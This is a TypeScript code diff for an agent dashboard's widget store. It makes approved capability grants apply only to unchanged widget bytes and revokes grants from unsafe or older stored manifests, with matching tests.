@@ -151,7 +156,7 @@ describe.each([
|
||||
expect(store.getSnapshot("agent:main:board").widgets[1]?.instanceId).toMatch(/^[a-f0-9]{32}$/u);
|
||||
});
|
||||
|
||||
it("preserves grants only for equal or narrower declarations", () => {
|
||||
it("preserves grants only for unchanged bytes with equal or narrower declarations", () => {
|
||||
const store = createStore();
|
||||
const first = store.putWidget({
|
||||
sessionKey: "agent:main:board",
|
||||
@@ -167,7 +172,7 @@ describe.each([
|
||||
const equal = store.putWidget({
|
||||
sessionKey: "agent:main:board",
|
||||
name: "scoped",
|
||||
content: { kind: "html", html: "two" },
|
||||
content: { kind: "html", html: "one" },
|
||||
declared: {
|
||||
netOrigins: ["https://one.example", "https://two.example"],
|
||||
tools: ["weather.read", "weather.refresh"],
|
||||
@@ -175,14 +180,14 @@ describe.each([
|
||||
});
|
||||
expect(equal.widgets[0]).toMatchObject({ revision: 2, grantState: "granted" });
|
||||
expect(store.readWidgetHtml("agent:main:board", "scoped")).toMatchObject({
|
||||
html: "two",
|
||||
html: "one",
|
||||
grantState: "granted",
|
||||
});
|
||||
|
||||
const narrower = store.putWidget({
|
||||
sessionKey: "agent:main:board",
|
||||
name: "scoped",
|
||||
content: { kind: "html", html: "three" },
|
||||
content: { kind: "html", html: "one" },
|
||||
declared: {
|
||||
netOrigins: ["https://one.example"],
|
||||
tools: ["weather.read"],
|
||||
@@ -190,16 +195,32 @@ describe.each([
|
||||
});
|
||||
expect(narrower.widgets[0]).toMatchObject({ revision: 3, grantState: "granted" });
|
||||
|
||||
const changed = store.putWidget({
|
||||
sessionKey: "agent:main:board",
|
||||
name: "scoped",
|
||||
content: { kind: "html", html: "two" },
|
||||
declared: {
|
||||
netOrigins: ["https://one.example"],
|
||||
tools: ["weather.read"],
|
||||
},
|
||||
});
|
||||
expect(changed.widgets[0]).toMatchObject({ revision: 4, grantState: "pending" });
|
||||
expect(store.readWidgetHtml("agent:main:board", "scoped")).toMatchObject({
|
||||
html: "two",
|
||||
grantState: "pending",
|
||||
});
|
||||
store.grant("agent:main:board", "scoped", "granted", 4, changed.widgets[0]?.instanceId);
|
||||
|
||||
const wider = store.putWidget({
|
||||
sessionKey: "agent:main:board",
|
||||
name: "scoped",
|
||||
content: { kind: "html", html: "four" },
|
||||
content: { kind: "html", html: "two" },
|
||||
declared: {
|
||||
netOrigins: ["https://one.example", "https://three.example"],
|
||||
tools: ["weather.read"],
|
||||
},
|
||||
});
|
||||
expect(wider.widgets[0]).toMatchObject({ revision: 4, grantState: "pending" });
|
||||
expect(wider.widgets[0]).toMatchObject({ revision: 5, grantState: "pending" });
|
||||
});
|
||||
|
||||
it("requires a fresh grant when an MCP app widget changes servers", () => {
|
||||
@@ -504,6 +525,57 @@ describe("SqliteBoardStore persistence", () => {
|
||||
expect(store.listSessionsWithBoards()).toEqual([canonicalSessionKey]);
|
||||
});
|
||||
|
||||
it("fails closed when reading a persisted unsafe capability manifest", () => {
|
||||
const stateDir = tempDirs.make("openclaw-board-unsafe-manifest-");
|
||||
const env = { OPENCLAW_STATE_DIR: stateDir };
|
||||
const sessionKey = "agent:main:unsafe-manifest";
|
||||
seedSession(env, "main", sessionKey);
|
||||
const store = new SqliteBoardStore({
|
||||
resolveSession: () => ({ agentId: "main", sessionKey }),
|
||||
env,
|
||||
});
|
||||
store.putWidget({
|
||||
sessionKey,
|
||||
name: "status",
|
||||
content: { kind: "html", html: "ok" },
|
||||
});
|
||||
|
||||
const database = openOpenClawAgentDatabase({ agentId: "main", env });
|
||||
database.db
|
||||
.prepare(
|
||||
"UPDATE board_widgets SET manifest = ?, grant_state = 'granted', granted_sha = sha256 WHERE session_key = ? AND name = 'status'",
|
||||
)
|
||||
.run(
|
||||
JSON.stringify({ netOrigins: ["http://legacy.example"], tools: ["health"] }),
|
||||
sessionKey,
|
||||
);
|
||||
|
||||
expect(store.getSnapshot(sessionKey).widgets[0]).toMatchObject({
|
||||
name: "status",
|
||||
grantState: "none",
|
||||
});
|
||||
expect(store.getSnapshot(sessionKey).widgets[0]).not.toHaveProperty("declared");
|
||||
expect(store.readWidgetHtml(sessionKey, "status")).toMatchObject({
|
||||
html: "ok",
|
||||
grantState: "none",
|
||||
});
|
||||
expect(store.readWidgetHtml(sessionKey, "status")).not.toHaveProperty("declared");
|
||||
|
||||
database.db
|
||||
.prepare(
|
||||
"UPDATE board_widgets SET grant_state = 'rejected' WHERE session_key = ? AND name = 'status'",
|
||||
)
|
||||
.run(sessionKey);
|
||||
expect(store.getSnapshot(sessionKey).widgets[0]).toMatchObject({
|
||||
name: "status",
|
||||
grantState: "rejected",
|
||||
});
|
||||
expect(store.readWidgetHtml(sessionKey, "status")).toMatchObject({
|
||||
html: "ok",
|
||||
grantState: "rejected",
|
||||
});
|
||||
});
|
||||
|
||||
it("reads widget bytes only from the canonical per-agent database", () => {
|
||||
const stateDir = tempDirs.make("openclaw-board-canonical-bytes-");
|
||||
const env = { OPENCLAW_STATE_DIR: stateDir };
|
||||
@@ -575,7 +647,7 @@ describe("SqliteBoardStore persistence", () => {
|
||||
});
|
||||
});
|
||||
|
||||
it("rebinds a preserved grant to the updated widget digest", () => {
|
||||
it("clears a frozen grant when the widget digest changes", () => {
|
||||
const stateDir = tempDirs.make("openclaw-board-granted-digest-");
|
||||
const env = { OPENCLAW_STATE_DIR: stateDir };
|
||||
const sessionKey = "agent:main:grant-digest";
|
||||
@@ -606,16 +678,54 @@ describe("SqliteBoardStore persistence", () => {
|
||||
)
|
||||
.get(sessionKey),
|
||||
).toEqual({
|
||||
grantState: "granted",
|
||||
grantedSha: expect.stringMatching(/^[a-f0-9]{64}$/u),
|
||||
grantState: "pending",
|
||||
grantedSha: null,
|
||||
sha256: expect.stringMatching(/^[a-f0-9]{64}$/u),
|
||||
});
|
||||
const row = database.db
|
||||
.prepare(
|
||||
"SELECT granted_sha AS grantedSha, sha256 FROM board_widgets WHERE session_key = ? AND name = 'status'",
|
||||
)
|
||||
.get(sessionKey) as { grantedSha: string; sha256: string };
|
||||
expect(row.grantedSha).toBe(row.sha256);
|
||||
});
|
||||
|
||||
it("requires reapproval for grants stored before byte-frozen semantics", () => {
|
||||
const stateDir = tempDirs.make("openclaw-board-legacy-grant-");
|
||||
const env = { OPENCLAW_STATE_DIR: stateDir };
|
||||
const sessionKey = "agent:main:legacy-grant";
|
||||
seedSession(env, "main", sessionKey);
|
||||
const store = new SqliteBoardStore({
|
||||
resolveSession: () => ({ agentId: "main", sessionKey }),
|
||||
env,
|
||||
});
|
||||
const current = store.putWidget({
|
||||
sessionKey,
|
||||
name: "status",
|
||||
content: { kind: "html", html: "approved" },
|
||||
declared: { tools: ["health"] },
|
||||
});
|
||||
store.grant(sessionKey, "status", "granted", 1, current.widgets[0]?.instanceId);
|
||||
|
||||
const database = openOpenClawAgentDatabase({ agentId: "main", env });
|
||||
database.db
|
||||
.prepare("UPDATE board_widgets SET manifest = ? WHERE session_key = ? AND name = 'status'")
|
||||
.run(JSON.stringify({ tools: ["health"] }), sessionKey);
|
||||
|
||||
expect(store.getSnapshot(sessionKey).widgets[0]).toMatchObject({
|
||||
grantState: "pending",
|
||||
declared: { tools: ["health"] },
|
||||
});
|
||||
expect(store.readWidgetHtml(sessionKey, "status")).toMatchObject({
|
||||
grantState: "pending",
|
||||
declared: { tools: ["health"] },
|
||||
});
|
||||
expect(
|
||||
store.grant(sessionKey, "status", "granted", 1, current.widgets[0]?.instanceId).widgets[0],
|
||||
).toMatchObject({ grantState: "granted" });
|
||||
expect(
|
||||
JSON.parse(
|
||||
(
|
||||
database.db
|
||||
.prepare("SELECT manifest FROM board_widgets WHERE session_key = ? AND name = 'status'")
|
||||
.get(sessionKey) as { manifest: string }
|
||||
).manifest,
|
||||
),
|
||||
).toEqual({ tools: ["health"], grantSemanticsVersion: 2 });
|
||||
});
|
||||
|
||||
it("reopens durable boards and isolates owning agent databases", () => {
|
||||
|
||||
+83
-23
@@ -5,7 +5,9 @@ import type {
|
||||
BoardSnapshot,
|
||||
BoardWidgetMaterializedContent,
|
||||
BoardWidgetMaterializedPutParams,
|
||||
BoardWidgetDeclared,
|
||||
} from "../../packages/gateway-protocol/src/index.js";
|
||||
import { boardDeclarationIsSubset, normalizeBoardWidgetDeclared } from "./board-capabilities.js";
|
||||
import {
|
||||
applyBoardOps,
|
||||
BOARD_SIZE_PRESETS,
|
||||
@@ -21,6 +23,7 @@ export type BoardWidgetHtmlDocument = {
|
||||
sha256: string;
|
||||
viewGeneration: string;
|
||||
grantState: "none" | "pending" | "granted" | "rejected";
|
||||
declared?: BoardWidgetDeclared;
|
||||
};
|
||||
export type BoardWidgetMcpAppDocument = {
|
||||
descriptor: BoardMcpAppDescriptor;
|
||||
@@ -30,7 +33,7 @@ export type BoardWidgetMcpAppDocument = {
|
||||
declaredTools: string[];
|
||||
interactive: boolean;
|
||||
};
|
||||
type BoardWidgetDocument = BoardWidgetHtmlDocument | BoardWidgetMcpAppDocument;
|
||||
export type BoardWidgetDocument = BoardWidgetHtmlDocument | BoardWidgetMcpAppDocument;
|
||||
|
||||
export interface BoardStore {
|
||||
getSnapshot(sessionKey: string): BoardSnapshot;
|
||||
@@ -70,6 +73,16 @@ export function cloneBoardSnapshot(snapshot: BoardSnapshot): BoardSnapshot {
|
||||
...(widget.declaredSummary !== undefined
|
||||
? { declaredSummary: [...widget.declaredSummary] }
|
||||
: {}),
|
||||
...(widget.declared !== undefined
|
||||
? {
|
||||
declared: {
|
||||
...(widget.declared.netOrigins
|
||||
? { netOrigins: [...widget.declared.netOrigins] }
|
||||
: {}),
|
||||
...(widget.declared.tools ? { tools: [...widget.declared.tools] } : {}),
|
||||
},
|
||||
}
|
||||
: {}),
|
||||
})),
|
||||
};
|
||||
}
|
||||
@@ -78,8 +91,8 @@ function createBoardWidgetDocument(
|
||||
content: BoardWidgetMaterializedContent,
|
||||
revision: number,
|
||||
grantState: BoardWidgetHtmlDocument["grantState"],
|
||||
declared: BoardWidgetDeclared | undefined,
|
||||
instanceId: string,
|
||||
declaredTools: readonly string[],
|
||||
): BoardWidgetDocument {
|
||||
if (content.kind === "html") {
|
||||
return {
|
||||
@@ -88,6 +101,7 @@ function createBoardWidgetDocument(
|
||||
sha256: createHash("sha256").update(content.html).digest("hex"),
|
||||
viewGeneration: instanceId,
|
||||
grantState,
|
||||
...(declared ? { declared } : {}),
|
||||
};
|
||||
}
|
||||
return {
|
||||
@@ -95,7 +109,7 @@ function createBoardWidgetDocument(
|
||||
revision,
|
||||
instanceId,
|
||||
grantState,
|
||||
declaredTools: [...declaredTools],
|
||||
declaredTools: [...(declared?.tools ?? [])],
|
||||
interactive: content.interactive,
|
||||
};
|
||||
}
|
||||
@@ -135,7 +149,11 @@ function grantScopeMatches(
|
||||
export function createBoardWidgetPutSnapshot(
|
||||
prior: BoardSnapshot,
|
||||
params: BoardWidgetMaterializedPutParams,
|
||||
options: { grantScopeMatches: boolean; instanceId: string },
|
||||
context: {
|
||||
grantScopeMatches: boolean;
|
||||
grantedSha256?: string;
|
||||
instanceId: string;
|
||||
},
|
||||
): BoardSnapshot {
|
||||
if (
|
||||
params.content.kind === "html" &&
|
||||
@@ -163,14 +181,21 @@ export function createBoardWidgetPutSnapshot(
|
||||
}
|
||||
const size = BOARD_SIZE_PRESETS[(params.placement?.size ?? "md") as BoardSize];
|
||||
const widgetRevision = (existing?.revision ?? 0) + 1;
|
||||
const declaredSummary = createBoardDeclaredSummary(params.declared);
|
||||
// A grant follows new bytes only when every declared capability was already approved.
|
||||
// Any widening must return to pending before the widget can be served.
|
||||
const declared = normalizeBoardWidgetDeclared(params.declared);
|
||||
const declaredSummary = createBoardDeclaredSummary(declared);
|
||||
const contentSha256 =
|
||||
params.content.kind === "html"
|
||||
? createHash("sha256").update(params.content.html).digest("hex")
|
||||
: undefined;
|
||||
// HTML grants are frozen to approved bytes. MCP App grants stay within the
|
||||
// source server. Either kind may narrow, but never widen, its declaration.
|
||||
const preservesGrant =
|
||||
options.grantScopeMatches &&
|
||||
declared !== undefined &&
|
||||
context.grantScopeMatches &&
|
||||
(params.content.kind !== "mcp-app" || params.content.interactive) &&
|
||||
existing?.grantState === "granted" &&
|
||||
(declaredSummary ?? []).every((entry) => existing.declaredSummary?.includes(entry));
|
||||
(params.content.kind === "html" ? contentSha256 === context.grantedSha256 : true) &&
|
||||
boardDeclarationIsSubset(declared, existing.declared);
|
||||
layout = insertBoardWidget(
|
||||
layout,
|
||||
{
|
||||
@@ -193,8 +218,9 @@ export function createBoardWidgetPutSnapshot(
|
||||
? "pending"
|
||||
: "none",
|
||||
revision: widgetRevision,
|
||||
instanceId: options.instanceId,
|
||||
instanceId: context.instanceId,
|
||||
...(declaredSummary ? { declaredSummary } : {}),
|
||||
...(declared ? { declared } : {}),
|
||||
},
|
||||
{
|
||||
tabId,
|
||||
@@ -203,7 +229,9 @@ export function createBoardWidgetPutSnapshot(
|
||||
},
|
||||
);
|
||||
if (!declaredSummary) {
|
||||
delete layout.widgets.find((widget) => widget.name === params.name)!.declaredSummary;
|
||||
const widget = layout.widgets.find((candidate) => candidate.name === params.name)!;
|
||||
delete widget.declaredSummary;
|
||||
delete widget.declared;
|
||||
}
|
||||
return {
|
||||
sessionKey: params.sessionKey,
|
||||
@@ -278,27 +306,42 @@ export class InMemoryBoardStore implements BoardStore {
|
||||
}
|
||||
|
||||
putWidget(params: BoardWidgetMaterializedPutParams): BoardSnapshot {
|
||||
const current = this.boards.get(params.sessionKey);
|
||||
const prior = current?.snapshot ?? emptyBoardSnapshot(params.sessionKey);
|
||||
const documents = new Map(current?.documents ?? []);
|
||||
const declared = normalizeBoardWidgetDeclared(params.declared);
|
||||
const canonicalParams: BoardWidgetMaterializedPutParams = { ...params };
|
||||
if (declared) {
|
||||
canonicalParams.declared = declared;
|
||||
} else {
|
||||
delete canonicalParams.declared;
|
||||
}
|
||||
const current = this.boards.get(canonicalParams.sessionKey);
|
||||
const prior = current?.snapshot ?? emptyBoardSnapshot(canonicalParams.sessionKey);
|
||||
const existingDocument = current?.documents.get(canonicalParams.name);
|
||||
const grantedSha256 =
|
||||
existingDocument && "html" in existingDocument && existingDocument.grantState === "granted"
|
||||
? existingDocument.sha256
|
||||
: undefined;
|
||||
const instanceId = randomBytes(16).toString("hex");
|
||||
const snapshot = createBoardWidgetPutSnapshot(prior, params, {
|
||||
grantScopeMatches: grantScopeMatches(documents.get(params.name), params.content),
|
||||
const snapshot = createBoardWidgetPutSnapshot(prior, canonicalParams, {
|
||||
grantScopeMatches: grantScopeMatches(existingDocument, canonicalParams.content),
|
||||
grantedSha256,
|
||||
instanceId,
|
||||
});
|
||||
const widgetRevision = snapshot.widgets.find((widget) => widget.name === params.name)!.revision;
|
||||
const widget = snapshot.widgets.find((candidate) => candidate.name === params.name)!;
|
||||
const documents = new Map(current?.documents ?? []);
|
||||
const widgetRevision = snapshot.widgets.find(
|
||||
(widget) => widget.name === canonicalParams.name,
|
||||
)!.revision;
|
||||
const widget = snapshot.widgets.find((candidate) => candidate.name === canonicalParams.name)!;
|
||||
documents.set(
|
||||
params.name,
|
||||
canonicalParams.name,
|
||||
createBoardWidgetDocument(
|
||||
params.content,
|
||||
canonicalParams.content,
|
||||
widgetRevision,
|
||||
widget.grantState,
|
||||
declared,
|
||||
instanceId,
|
||||
params.declared?.tools ?? [],
|
||||
),
|
||||
);
|
||||
this.boards.set(params.sessionKey, { snapshot, documents });
|
||||
this.boards.set(canonicalParams.sessionKey, { snapshot, documents });
|
||||
return cloneBoardSnapshot(snapshot);
|
||||
}
|
||||
|
||||
@@ -330,7 +373,24 @@ export class InMemoryBoardStore implements BoardStore {
|
||||
|
||||
readWidgetHtml(sessionKey: string, name: string): BoardWidgetHtmlDocument | undefined {
|
||||
const document = this.boards.get(sessionKey)?.documents.get(name);
|
||||
return document && "html" in document ? { ...document } : undefined;
|
||||
if (!document) {
|
||||
return undefined;
|
||||
}
|
||||
return "html" in document
|
||||
? {
|
||||
...document,
|
||||
...(document.declared
|
||||
? {
|
||||
declared: {
|
||||
...(document.declared.netOrigins
|
||||
? { netOrigins: [...document.declared.netOrigins] }
|
||||
: {}),
|
||||
...(document.declared.tools ? { tools: [...document.declared.tools] } : {}),
|
||||
},
|
||||
}
|
||||
: {}),
|
||||
}
|
||||
: undefined;
|
||||
}
|
||||
|
||||
readWidgetMcpApp(sessionKey: string, name: string): BoardWidgetMcpAppDocument | undefined {
|
||||
|
||||
@@ -0,0 +1,142 @@
|
||||
import type { Selectable } from "kysely";
|
||||
import type {
|
||||
BoardMcpAppDescriptor,
|
||||
BoardTab,
|
||||
BoardWidget,
|
||||
BoardWidgetDeclared,
|
||||
} from "../../packages/gateway-protocol/src/index.js";
|
||||
import type {
|
||||
BoardTabs as BoardTabRow,
|
||||
BoardWidgets as BoardWidgetRow,
|
||||
} from "../state/openclaw-agent-db.generated.js";
|
||||
import { normalizeBoardWidgetDeclared } from "./board-capabilities.js";
|
||||
import { BoardValidationError } from "./board-layout.js";
|
||||
import { createBoardDeclaredSummary } from "./board-store.js";
|
||||
|
||||
export type SelectedBoardTabRow = Selectable<BoardTabRow>;
|
||||
export type SelectedBoardWidgetRow = Selectable<BoardWidgetRow>;
|
||||
|
||||
const BOARD_GRANT_SEMANTICS_VERSION = 2;
|
||||
|
||||
type ParsedBoardManifest = {
|
||||
declared?: BoardWidgetDeclared;
|
||||
declarationInvalid?: true;
|
||||
grantSemanticsVersion?: number;
|
||||
mcpAppInteractive?: boolean;
|
||||
mcpAppInstanceId?: string;
|
||||
};
|
||||
|
||||
export function parseManifest(value: string): ParsedBoardManifest {
|
||||
const parsed = JSON.parse(value) as {
|
||||
netOrigins?: unknown;
|
||||
tools?: unknown;
|
||||
grantSemanticsVersion?: unknown;
|
||||
mcpAppInteractive?: unknown;
|
||||
mcpAppInstanceId?: unknown;
|
||||
};
|
||||
const netOrigins = Array.isArray(parsed.netOrigins)
|
||||
? parsed.netOrigins.filter((entry): entry is string => typeof entry === "string")
|
||||
: undefined;
|
||||
const tools = Array.isArray(parsed.tools)
|
||||
? parsed.tools.filter((entry): entry is string => typeof entry === "string")
|
||||
: undefined;
|
||||
const mcpAppInteractive =
|
||||
typeof parsed.mcpAppInteractive === "boolean" ? parsed.mcpAppInteractive : undefined;
|
||||
const mcpAppInstanceId =
|
||||
typeof parsed.mcpAppInstanceId === "string" && /^[a-f0-9]{32}$/u.test(parsed.mcpAppInstanceId)
|
||||
? parsed.mcpAppInstanceId
|
||||
: undefined;
|
||||
try {
|
||||
const declared = normalizeBoardWidgetDeclared({
|
||||
...(netOrigins?.length ? { netOrigins } : {}),
|
||||
...(tools?.length ? { tools } : {}),
|
||||
});
|
||||
return {
|
||||
...(declared ? { declared } : {}),
|
||||
...(parsed.grantSemanticsVersion === BOARD_GRANT_SEMANTICS_VERSION
|
||||
? { grantSemanticsVersion: BOARD_GRANT_SEMANTICS_VERSION }
|
||||
: {}),
|
||||
...(mcpAppInteractive !== undefined ? { mcpAppInteractive } : {}),
|
||||
...(mcpAppInstanceId ? { mcpAppInstanceId } : {}),
|
||||
};
|
||||
} catch (error) {
|
||||
if (error instanceof BoardValidationError) {
|
||||
// Unsafe manifests persisted before declaration validation lose their
|
||||
// entire authority; retaining a partial old grant would widen access.
|
||||
return { declarationInvalid: true };
|
||||
}
|
||||
throw error;
|
||||
}
|
||||
}
|
||||
|
||||
export function serializeManifest(
|
||||
declared: BoardWidgetDeclared | undefined,
|
||||
grantState: BoardWidget["grantState"],
|
||||
mcpAppAuthority?: { interactive: boolean; instanceId: string },
|
||||
): string {
|
||||
return JSON.stringify({
|
||||
...declared,
|
||||
...(grantState === "granted" ? { grantSemanticsVersion: BOARD_GRANT_SEMANTICS_VERSION } : {}),
|
||||
...(mcpAppAuthority
|
||||
? {
|
||||
mcpAppInteractive: mcpAppAuthority.interactive,
|
||||
mcpAppInstanceId: mcpAppAuthority.instanceId,
|
||||
}
|
||||
: {}),
|
||||
});
|
||||
}
|
||||
|
||||
export function effectiveGrantState(
|
||||
grantState: BoardWidget["grantState"],
|
||||
manifest: ParsedBoardManifest,
|
||||
): BoardWidget["grantState"] {
|
||||
if (manifest.declarationInvalid || (!manifest.declared && manifest.mcpAppInteractive !== true)) {
|
||||
// Losing an invalid legacy declaration removes authority, never an
|
||||
// operator's explicit rejection of the widget document itself.
|
||||
return grantState === "rejected" ? "rejected" : "none";
|
||||
}
|
||||
if (
|
||||
grantState === "granted" &&
|
||||
manifest.grantSemanticsVersion !== BOARD_GRANT_SEMANTICS_VERSION
|
||||
) {
|
||||
// Older stores rebound granted_sha after byte changes. Their hashes cannot
|
||||
// prove operator approval under the byte-frozen capability contract.
|
||||
return "pending";
|
||||
}
|
||||
return grantState;
|
||||
}
|
||||
|
||||
export function parseDescriptor(value: string): BoardMcpAppDescriptor {
|
||||
return JSON.parse(value) as BoardMcpAppDescriptor;
|
||||
}
|
||||
|
||||
export function rowToTab(row: SelectedBoardTabRow): BoardTab {
|
||||
return {
|
||||
tabId: row.tab_id,
|
||||
title: row.title,
|
||||
position: row.position,
|
||||
chatDock: row.chat_dock as BoardTab["chatDock"],
|
||||
};
|
||||
}
|
||||
|
||||
export function rowToWidget(row: SelectedBoardWidgetRow): BoardWidget {
|
||||
const manifest = parseManifest(row.manifest);
|
||||
const declared = manifest.declared;
|
||||
const declaredSummary = createBoardDeclaredSummary(declared);
|
||||
const instanceId =
|
||||
row.content_kind === "mcp-app" ? manifest.mcpAppInstanceId : row.view_generation;
|
||||
return {
|
||||
name: row.name,
|
||||
tabId: row.tab_id,
|
||||
...(row.title !== null ? { title: row.title } : {}),
|
||||
contentKind: row.content_kind as BoardWidget["contentKind"],
|
||||
sizeW: row.size_w,
|
||||
sizeH: row.size_h,
|
||||
position: row.position,
|
||||
grantState: effectiveGrantState(row.grant_state as BoardWidget["grantState"], manifest),
|
||||
revision: row.revision,
|
||||
...(instanceId ? { instanceId } : {}),
|
||||
...(declaredSummary ? { declaredSummary } : {}),
|
||||
...(declared ? { declared } : {}),
|
||||
};
|
||||
}
|
||||
@@ -1,11 +1,8 @@
|
||||
import { createHash, randomBytes } from "node:crypto";
|
||||
import type { DatabaseSync } from "node:sqlite";
|
||||
import type { Selectable } from "kysely";
|
||||
import type {
|
||||
BoardMcpAppDescriptor,
|
||||
BoardOp,
|
||||
BoardSnapshot,
|
||||
BoardTab,
|
||||
BoardWidget,
|
||||
BoardWidgetMaterializedPutParams,
|
||||
} from "../../packages/gateway-protocol/src/index.js";
|
||||
@@ -16,11 +13,7 @@ import {
|
||||
} from "../infra/sqlite-transaction.js";
|
||||
import { OPENCLAW_AGENT_BOARD_SCHEMA_SQL } from "../state/openclaw-agent-board-schema.js";
|
||||
import { withOpenClawAgentDatabaseReadOnly } from "../state/openclaw-agent-db-readonly.js";
|
||||
import type {
|
||||
BoardTabs as BoardTabRow,
|
||||
BoardWidgets as BoardWidgetRow,
|
||||
DB as OpenClawAgentKyselyDatabase,
|
||||
} from "../state/openclaw-agent-db.generated.js";
|
||||
import type { DB as OpenClawAgentKyselyDatabase } from "../state/openclaw-agent-db.generated.js";
|
||||
import {
|
||||
listOpenClawRegisteredAgentDatabases,
|
||||
openOpenClawAgentDatabase,
|
||||
@@ -28,24 +21,32 @@ import {
|
||||
runOpenClawAgentWriteTransaction,
|
||||
type OpenClawAgentDatabase,
|
||||
} from "../state/openclaw-agent-db.js";
|
||||
import { normalizeBoardWidgetDeclared } from "./board-capabilities.js";
|
||||
import { applyBoardOps, BoardValidationError, normalizeBoardLayout } from "./board-layout.js";
|
||||
import {
|
||||
cloneBoardSnapshot,
|
||||
createBoardDeclaredSummary,
|
||||
createBoardGrantSnapshot,
|
||||
createBoardWidgetPutSnapshot,
|
||||
type BoardStore,
|
||||
type BoardWidgetHtmlDocument,
|
||||
type BoardWidgetMcpAppDocument,
|
||||
} from "./board-store.js";
|
||||
import {
|
||||
effectiveGrantState,
|
||||
parseDescriptor,
|
||||
parseManifest,
|
||||
rowToTab,
|
||||
rowToWidget,
|
||||
serializeManifest,
|
||||
type SelectedBoardTabRow,
|
||||
type SelectedBoardWidgetRow,
|
||||
} from "./sqlite-board-codec.js";
|
||||
|
||||
type BoardDatabase = Pick<
|
||||
OpenClawAgentKyselyDatabase,
|
||||
"board_tabs" | "board_widgets" | "session_entries"
|
||||
>;
|
||||
type BoardDatabaseHandle = Pick<OpenClawAgentDatabase, "db" | "path">;
|
||||
type SelectedBoardTabRow = Selectable<BoardTabRow>;
|
||||
type SelectedBoardWidgetRow = Selectable<BoardWidgetRow>;
|
||||
|
||||
type StoredBoard = {
|
||||
snapshot: BoardSnapshot;
|
||||
@@ -100,70 +101,6 @@ type SqliteBoardStoreOptions = {
|
||||
env?: NodeJS.ProcessEnv;
|
||||
};
|
||||
|
||||
function parseManifest(value: string): {
|
||||
declared: NonNullable<BoardWidgetMaterializedPutParams["declared"]>;
|
||||
mcpAppInteractive: boolean | undefined;
|
||||
mcpAppInstanceId: string | undefined;
|
||||
} {
|
||||
const parsed = JSON.parse(value) as {
|
||||
netOrigins?: unknown;
|
||||
tools?: unknown;
|
||||
mcpAppInteractive?: unknown;
|
||||
mcpAppInstanceId?: unknown;
|
||||
};
|
||||
const netOrigins = Array.isArray(parsed.netOrigins)
|
||||
? parsed.netOrigins.filter((entry): entry is string => typeof entry === "string")
|
||||
: undefined;
|
||||
const tools = Array.isArray(parsed.tools)
|
||||
? parsed.tools.filter((entry): entry is string => typeof entry === "string")
|
||||
: undefined;
|
||||
return {
|
||||
declared: {
|
||||
...(netOrigins?.length ? { netOrigins } : {}),
|
||||
...(tools?.length ? { tools } : {}),
|
||||
},
|
||||
mcpAppInteractive:
|
||||
typeof parsed.mcpAppInteractive === "boolean" ? parsed.mcpAppInteractive : undefined,
|
||||
mcpAppInstanceId:
|
||||
typeof parsed.mcpAppInstanceId === "string" && /^[a-f0-9]{32}$/u.test(parsed.mcpAppInstanceId)
|
||||
? parsed.mcpAppInstanceId
|
||||
: undefined,
|
||||
};
|
||||
}
|
||||
|
||||
function parseDescriptor(value: string): BoardMcpAppDescriptor {
|
||||
return JSON.parse(value) as BoardMcpAppDescriptor;
|
||||
}
|
||||
|
||||
function rowToTab(row: SelectedBoardTabRow): BoardTab {
|
||||
return {
|
||||
tabId: row.tab_id,
|
||||
title: row.title,
|
||||
position: row.position,
|
||||
chatDock: row.chat_dock as BoardTab["chatDock"],
|
||||
};
|
||||
}
|
||||
|
||||
function rowToWidget(row: SelectedBoardWidgetRow): BoardWidget {
|
||||
const manifest = parseManifest(row.manifest);
|
||||
const declaredSummary = createBoardDeclaredSummary(manifest.declared);
|
||||
const instanceId =
|
||||
row.content_kind === "mcp-app" ? manifest.mcpAppInstanceId : row.view_generation;
|
||||
return {
|
||||
name: row.name,
|
||||
tabId: row.tab_id,
|
||||
...(row.title !== null ? { title: row.title } : {}),
|
||||
contentKind: row.content_kind as BoardWidget["contentKind"],
|
||||
sizeW: row.size_w,
|
||||
sizeH: row.size_h,
|
||||
position: row.position,
|
||||
grantState: row.grant_state as BoardWidget["grantState"],
|
||||
revision: row.revision,
|
||||
...(instanceId ? { instanceId } : {}),
|
||||
...(declaredSummary ? { declaredSummary } : {}),
|
||||
};
|
||||
}
|
||||
|
||||
function readStoredBoard(database: BoardDatabaseHandle, sessionKey: string): StoredBoard {
|
||||
// Write callers already hold an IMMEDIATE transaction; the shared helper nests
|
||||
// this consistent read as a savepoint instead of issuing a second BEGIN.
|
||||
@@ -324,14 +261,12 @@ function contentFields(
|
||||
viewGeneration: string,
|
||||
now: number,
|
||||
) {
|
||||
const manifest = JSON.stringify(
|
||||
const manifest = serializeManifest(
|
||||
params.declared,
|
||||
grantState,
|
||||
params.content.kind === "mcp-app"
|
||||
? {
|
||||
...params.declared,
|
||||
mcpAppInteractive: params.content.interactive,
|
||||
mcpAppInstanceId: viewGeneration,
|
||||
}
|
||||
: (params.declared ?? {}),
|
||||
? { interactive: params.content.interactive, instanceId: viewGeneration }
|
||||
: undefined,
|
||||
);
|
||||
if (params.content.kind === "html") {
|
||||
const sha256 = createHash("sha256").update(params.content.html).digest("hex");
|
||||
@@ -477,7 +412,16 @@ export class SqliteBoardStore implements BoardStore {
|
||||
|
||||
putWidget(params: BoardWidgetMaterializedPutParams): BoardSnapshot {
|
||||
const { database, resolved } = this.prepareWrite(params.sessionKey);
|
||||
const canonicalParams = { ...params, sessionKey: resolved.sessionKey };
|
||||
const declared = normalizeBoardWidgetDeclared(params.declared);
|
||||
const canonicalParams: BoardWidgetMaterializedPutParams = {
|
||||
...params,
|
||||
sessionKey: resolved.sessionKey,
|
||||
};
|
||||
if (declared) {
|
||||
canonicalParams.declared = declared;
|
||||
} else {
|
||||
delete canonicalParams.declared;
|
||||
}
|
||||
const viewGeneration = randomBytes(16).toString("hex");
|
||||
return runOpenClawAgentWriteTransaction(
|
||||
(transactionDatabase) => {
|
||||
@@ -499,6 +443,7 @@ export class SqliteBoardStore implements BoardStore {
|
||||
: true;
|
||||
const next = createBoardWidgetPutSnapshot(previous.snapshot, canonicalParams, {
|
||||
grantScopeMatches,
|
||||
grantedSha256: existing?.granted_sha ?? undefined,
|
||||
instanceId: viewGeneration,
|
||||
});
|
||||
const widget = next.widgets.find((candidate) => candidate.name === canonicalParams.name)!;
|
||||
@@ -573,6 +518,8 @@ export class SqliteBoardStore implements BoardStore {
|
||||
);
|
||||
upsertTabs(transactionDatabase, previous, next);
|
||||
const row = previous.widgetRows.find((candidate) => candidate.name === name)!;
|
||||
const manifest = parseManifest(row.manifest);
|
||||
const declared = manifest.declared;
|
||||
const db = getNodeSqliteKysely<BoardDatabase>(transactionDatabase.db);
|
||||
